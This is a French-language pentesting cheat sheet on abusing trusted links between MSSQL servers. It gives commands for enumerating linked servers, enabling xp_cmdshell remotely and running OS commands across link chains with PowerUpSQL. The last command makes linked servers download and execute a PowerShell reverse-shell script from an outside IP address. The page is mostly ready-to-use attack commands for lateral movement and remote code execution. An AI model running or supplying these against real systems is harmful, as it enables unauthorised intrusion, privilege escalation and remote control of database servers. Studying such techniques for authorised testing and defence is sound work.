🚧MSSQL Trusted Links

Les bases de données MSSQL peuvent être liées, de sorte que si vous compromettez l'une d'entre elles, vous pouvez exécuter des requêtes (ou même des commandes ) sur d'autres bases de données dans le contexte d'un utilisateur spécifique (Domain Admin par exemple). Si cela est configuré, cela peut même être utilisé pour du cross trust Forest ! Si nous disposons d'une exécution SQL, nous pouvons utiliser les commandes suivantes pour énumérer les liens entre les bases de données.

# Trouver les serveurs liés
EXEC sp_linkedservers

# Lancer des requêtes SQL sur le serveur link ciblé
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')

# Autoriser 'xp_cmdshell' sur le serveur distant est exécuter des commandes, cela ne marche que si le protocole RPC est activé
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER

Nous pouvons également utiliser PowerUpSQL pour rechercher des bases de données dans le domaine, et recueillir des informations supplémentaires sur les bases de données (accessibles). Nous pourrons également rechercher automatiquement, et exécuter des requêtes ou des commandes sur des bases de données liées (même à travers plusieurs couches de links de bases de données).

# Obtenir des bases de données MSSQL dans le domaine, et tester la connectivité
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# Obtenir des information sur toutes les bases de données du domaine
Get-SQLInstanceDomain | Get-SQLServerInfo

# Avoir des information sur une seule base de donnée 
Get-SQLServerInfo -Instance TARGETSERVER

# Scanner la base de donnée MSSQL pour observer des potentielles mauvaises configuration
Invoke-SQLAudit -Verbose -Instance TARGETSERVER

# Exécuter une requête SQL
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER

# Exécuter une commande (autorise XP_CMDSHELL automatiquement si besoin)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" |  select -ExpandProperty CommandResults

# Trouver toutes les base donnée liées 
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft

# executer une commande si XP_CMDSHELL est autorisé sur une des base donnée liée
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''<http://172.16.100.55/Invoke-PowerShellTcpRun.ps1>'')"' | select instance,links,customquery | ft

Last updated